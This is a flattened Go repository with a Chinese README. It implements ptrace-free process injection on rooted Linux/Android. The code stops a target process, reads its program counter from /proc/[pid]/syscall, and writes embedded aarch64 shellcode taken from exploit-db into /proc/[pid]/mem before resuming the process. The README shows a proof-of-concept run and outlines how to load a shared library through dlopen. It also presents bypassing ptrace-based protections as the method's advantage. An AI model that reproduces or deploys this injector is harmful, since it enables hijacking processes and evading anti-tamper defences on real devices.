├── .gitignore ├── README.md ├── cmd ├── injector │ └── main.go └── simple_go │ └── main.go ├── go.mod ├── go.sum └── inject.go /.gitignore: -------------------------------------------------------------------------------- 1 | .idea -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # 使用proc文件系统完成动态进程注入 2 | 3 | Inject remote process **without** using **ptrace** (ROOT privilege required) 4 | 5 | 这个方法最好的地方在于它不需要ptrace,众所周知,ptrace已经被各种设备和保护方案限制和检查了 6 | 7 | 只要有/proc文件系统,并且进程目录下包含mem和syscall这两个文件,那么这个方法是可以尝试的 8 | 9 | ## POC 10 | 11 | ```shell 12 | cmi:/ $ cd /data/local/tmp 13 | cmi:/data/local/tmp $ su 14 | cmi:/data/local/tmp # id 15 | uid=0(root) gid=0(root) groups=0(root) context=u:r:magisk:s0 16 | cmi:/data/local/tmp # chmod +x injector 17 | cmi:/data/local/tmp # ./injector "32736" 18 | pid: 32736 19 | exe path: /data/local/tmp/simple_go 20 | base addr:5e8f9d5000 21 | syscall no: -1 22 | pc str: 5e8fa535c0 23 | pc:5e8fa535c0 7e5c0 24 | ``` 25 | 26 | 注入的数据 27 | 28 | ```go 29 | []byte("akaany") 30 | ``` 31 | 32 | 注入结果 33 | 34 | ```shell 35 | 127|cmi:/data/local/tmp # ./simple_go 36 | pid:32736 suspend for res 37 | [1] + Stopped (signal) ./simple_go 38 | cmi:/data/local/tmp # SIGILL: illegal instruction 39 | PC=0x5e8fa535c0 m=0 sigcode=1 40 | instruction bytes: 0x61 0x6b 0x61 0x61 0x6e 0x79 0xff 0x17 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 41 | 42 | goroutine 18 [running]: 43 | main.main.func1() 44 | C:/Users/AkaAny/GolandProjects/hermes/main.go:11 fp=0x4000034fd0 sp=0x4000034fd0 pc=0x5e8fa535c0 45 | runtime.goexit() 46 | C:/Users/AkaAny/go/go1.18/src/runtime/asm_arm64.s:1259 +0x4 fp=0x4000034fd0 sp=0x4000034fd0 pc=0x5e8fa2eaf4 47 | created by main.main 48 | C:/Users/AkaAny/GolandProjects/hermes/main.go:10 +0x8c 49 | 50 | goroutine 1 [chan receive]: 51 | main.main() 52 | C:/Users/AkaAny/GolandProjects/hermes/main.go:16 +0xa4 53 | 54 | r0 0x0 55 | r1 0x0 56 | r2 0x5e8fb1dfd8 57 | r3 0x400010a680 58 | r4 0x4000034800 59 | r5 0x400010a6b8 60 | r6 0x5e8fa535c0 61 | r7 0x1 62 | r8 0x1 63 | r9 0x4000102060 64 | r10 0x40001020a0 65 | r11 0x0 66 | r12 0x4000102060 67 | r13 0x0 68 | r14 0x0 69 | r15 0x1 70 | r16 0x7fdb9ea200 71 | r17 0x7fdb9f9d90 72 | r18 0x747684a000 73 | r19 0x38 74 | r20 0x20 75 | r21 0x5e8fb1dac0 76 | r22 0x4000004000 77 | r23 0x0 78 | r24 0x0 79 | r25 0x0 80 | r26 0x5e8faaa9e0 81 | r27 0x5e8fa535c0 82 | r28 0x400010a680 83 | r29 0x0 84 | lr 0x5e8fa2eaf4 85 | sp 0x4000034fd0 86 | pc 0x5e8fa535c0 87 | fault 0x0 88 | 89 | ``` 90 | 91 | ## 原理 92 | 93 | 某天突然想到,/proc文件系统下的mem文件可以忽略内存块属性而读写目标进程的内存,那么是不是只要写pc所在的地址,就可以控制这个进程的执行了呢 94 | 95 | 这个方案有一个问题,我们怎么知道pc地址呢? 96 | 97 | 经过一番查找,proc内还真就有这么个文件,syscall,它的行为是这样的 98 | 99 | 1. 当进程运行时(status文件内显示状态为R),内容为`running` 100 | 101 | 2. 当进程处于可恢复的阻断状态(status文件内显示状态为S),内容有两种情况 102 | 103 | (1). 阻塞原因为陷入系统调用(如等待用户输入),第一列为系统调用号,最后一列为pc 104 | 105 | (2). 阻塞原因非系统调用(比如收到SIGSTOP信号),第一列为-1,最后一列为pc 106 | 107 | 我们现在已经知道一种获取pc的方法,问题转换成了如何让进程处于S状态,又经过一番查找,发现有个信号满足了我们的要求 108 | 109 | 这个信号就是`SIGSTOP`,这个信号对目标进程来说是不可以阻断的,类似于NT的进程挂起(Suspend) 110 | 111 | 我们还需要一种让进程从S状态变为R状态的方法,这可以通过`SIGCONT`信号实现,类似于NT的进程恢复(Resume) 112 | 113 | 这些准备工作完成后,我们就的步骤就变成了这样 114 | 115 | 1. 向目标进程发送SIGSTOP信号 116 | 2. 读取`/proc/[pid]/syscall`文件,获得此时目标进程的pc地址 117 | 3. 向`/proc/[pid]/mem`的pc地址处写入shellcode 118 | 4. 向目标进程发送SIGCONT信号 119 | 120 | 接收到SIGCONT信号后,目标进程继续执行,这时执行的就是我们写入的shellcode了 121 | 122 | ## EXP 123 | 124 | 如果仅仅是控制目标进程,我们可以直接抄对应架构的shellcode,没有什么不能有`\0`的要求 125 | 126 | 如果是需要注入,那么我们还需要下点功夫,还需要让进程阻塞一次,以重新获得控制权,在shellcode执行后恢复现场 127 | 128 | 恢复现场包括指令数据的恢复和寄存器、栈的恢复(shellcode可以做到不使用栈) 129 | 130 | 我们在第一次挂起进程时,注入器需要备份目标进程pc处开始的shellcode长度的数据 131 | 132 | shellcode执行前,需要把要用到的寄存器全部压栈 133 | 134 | shellcode主体,调用dlopen函数加载so 135 | 136 | shellcode执行完毕时,需要将用过的寄存器全部出栈,同时主动进行系统调用,向所在进程发送SIGSTOP信号(或尝试获取一个注入器拥有的信号量或bind socket等待注入器连接),以阻塞目标进程,重新将控制权交回注入器(shellcode在这个系统调用后需要将pc寄存器放回shellcode开始的位置) 137 | 138 | 注入器恢复原pc寄存器处shellcode长度的数据,同时按shellcode处的等待逻辑恢复目标进程的执行 139 | 140 | -------------------------------------------------------------------------------- /cmd/injector/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | proc_injector "inject" 6 | "os" 7 | "strconv" 8 | ) 9 | 10 | func main() { 11 | var pidStr = os.Args[1] 12 | pidint64, err := strconv.ParseInt(pidStr, 10, 64) 13 | if err != nil { 14 | panic(err) 15 | } 16 | fmt.Println("pid:", pidint64) 17 | var inj = proc_injector.NewInjector(int(pidint64)) 18 | inj.Inject(int(pidint64)) 19 | } 20 | -------------------------------------------------------------------------------- /cmd/simple_go/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "os" 6 | ) 7 | 8 | func main() { 9 | fmt.Printf("pid:%d suspend for res\n", os.Getpid()) 10 | go func() { 11 | for { 12 | 13 | } 14 | }() 15 | var interruptChan = make(chan int) 16 | <-interruptChan 17 | } 18 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module inject 2 | 3 | go 1.18 4 | 5 | require github.com/prometheus/procfs v0.7.3 6 | 7 | require golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c // indirect 8 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/google/go-cmp v0.5.4 h1:L8R9j+yAqZuZjsqh/z+F1NCffTKKLShY6zXTItVIZ8M= 2 | github.com/google/go-cmp v0.5.4/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= 3 | github.com/prometheus/procfs v0.7.3 h1:4jVXhlkAyzOScmCkXBTOLRLTz8EeU+eyjrwB/EPq0VU= 4 | github.com/prometheus/procfs v0.7.3/go.mod h1:cz+aTbrPOrUb4q7XlbU9ygM+/jj0fzG6c1xBZuNvfVA= 5 | golang.org/x/sync v0.0.0-20201207232520-09787c993a3a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 6 | golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c h1:VwygUrnw9jn88c4u8GD3rZQbqrP/tgas88tPUbBxQrk= 7 | golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 8 | golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 9 | -------------------------------------------------------------------------------- /inject.go: -------------------------------------------------------------------------------- 1 | package proc_injector 2 | 3 | import ( 4 | "fmt" 5 | "github.com/prometheus/procfs" 6 | "io" 7 | "os" 8 | "strconv" 9 | "strings" 10 | "syscall" 11 | ) 12 | 13 | type Injector struct { 14 | memFile *MemRW 15 | } 16 | 17 | func NewInjector(pid int) *Injector { 18 | var memFile = NewMemRW(pid) 19 | return &Injector{memFile: memFile} 20 | } 21 | 22 | // ShellCode from exploit-db: https://www.exploit-db.com/exploits/47048 23 | const ShellCode = "\xe1\x45\x8c\xd2\x21\xcd\xad\xf2\xe1\x65\xce\xf2\x01\x0d\xe0\xf2\xe1\x8f\x1f\xf8\xe1\x03\x1f\xaa\xe2\x03\x1f\xaa\xe0\x63\x21\x8b\xa8\x1b\x80\xd2\xe1\x66\x02\xd4" 24 | 25 | func (s *Injector) Inject(pid int) { 26 | //atexit handlers[only for libc] 27 | //dirFs := os.DirFS(fmt.Sprintf("/proc/%d/task", pid)) 28 | //threadDirEntries, err := fs.ReadDir(dirFs, ".") 29 | //if err != nil { 30 | // panic(err) 31 | //} 32 | procFS, err := procfs.NewFS("/proc") 33 | if err != nil { 34 | panic(err) 35 | } 36 | //in linux, thread can be regarded as process, containing everything that a process have. 37 | //suspend all thread 38 | //for _, threadDirEntry := range threadDirEntries { 39 | // pid64, err := strconv.ParseInt(threadDirEntry.Name(), 10, 64) 40 | // if err != nil { //impossible naturally 41 | // panic(err) 42 | // } 43 | // err = syscall.Kill(int(pid64), syscall.SIGSTOP) 44 | // if err != nil { 45 | // panic(err) 46 | // } 47 | //} 48 | //send sigstop to target process 49 | err = syscall.Kill(int(pid), syscall.SIGSTOP) 50 | if err != nil { 51 | panic(err) 52 | } 53 | procItem, err := procFS.Proc(pid) 54 | if err != nil { 55 | panic(err) 56 | } 57 | exePath, err := procItem.Executable() 58 | if err != nil { 59 | panic(err) 60 | } 61 | fmt.Println("exe path:", exePath) 62 | var baseAddr int64 = 0 63 | mapsEntries, err := procItem.ProcMaps() 64 | if err != nil { 65 | panic(err) 66 | } 67 | for _, mapsEntry := range mapsEntries { 68 | if !mapsEntry.Perms.Execute { 69 | continue 70 | } 71 | if mapsEntry.Pathname == exePath { 72 | baseAddr = int64(mapsEntry.StartAddr) 73 | fmt.Printf("base addr:%x\n", mapsEntry.StartAddr) 74 | continue 75 | } 76 | } 77 | var syscallFilePath = fmt.Sprintf("/proc/%d/syscall", pid) 78 | syscallFile, err := os.Open(syscallFilePath) 79 | if err != nil { 80 | panic(err) 81 | } 82 | syscallFileContent, err := io.ReadAll(syscallFile) 83 | if err != nil { 84 | panic(err) 85 | } 86 | var syscallFileItems = strings.Split(string(syscallFileContent), " ") 87 | var syscallNoStr = syscallFileItems[0] 88 | syscallNoint64, err := strconv.ParseInt(syscallNoStr, 10, 64) 89 | if err != nil { 90 | panic(err) 91 | } 92 | fmt.Println("syscall no:", syscallNoint64) 93 | var pcStr = syscallFileItems[len(syscallFileItems)-1] 94 | pcStr = strings.TrimSuffix(pcStr, "\n") 95 | pcStr = strings.TrimPrefix(pcStr, "0x") 96 | fmt.Println("pc str:", pcStr) 97 | pcint64, err := strconv.ParseInt(pcStr, 16, 64) 98 | if err != nil { 99 | panic(err) 100 | } 101 | //0x5e769ca5c0 5e769ca5c0 102 | fmt.Printf("pc:%x %x\n", pcint64, pcint64-baseAddr) 103 | var toCrashData = []byte(ShellCode) //[]byte{0x00, 0x00, 0x00, 0x00} 104 | s.memFile.WriteToAddr(pcint64, toCrashData) 105 | err = syscall.Kill(pid, syscall.SIGCONT) 106 | if err != nil { 107 | panic(err) 108 | } 109 | } 110 | 111 | type MemRW struct { 112 | memFile *os.File 113 | } 114 | 115 | func (m *MemRW) setAddr(addr int64) { 116 | _, err := m.memFile.Seek(int64(addr), io.SeekStart) 117 | if err != nil { 118 | panic(err) 119 | } 120 | } 121 | 122 | func (m *MemRW) WriteToAddr(addr int64, content []byte) { 123 | _, err := m.memFile.WriteAt(content, addr) 124 | if err != nil { 125 | panic(err) 126 | } 127 | } 128 | 129 | func NewMemRW(pid int) *MemRW { 130 | var memFileName = fmt.Sprintf("/proc/%d/mem", pid) 131 | f, err := os.OpenFile(memFileName, os.O_RDWR, 0644) 132 | if err != nil { 133 | panic(err) 134 | } 135 | return &MemRW{memFile: f} 136 | } 137 | --------------------------------------------------------------------------------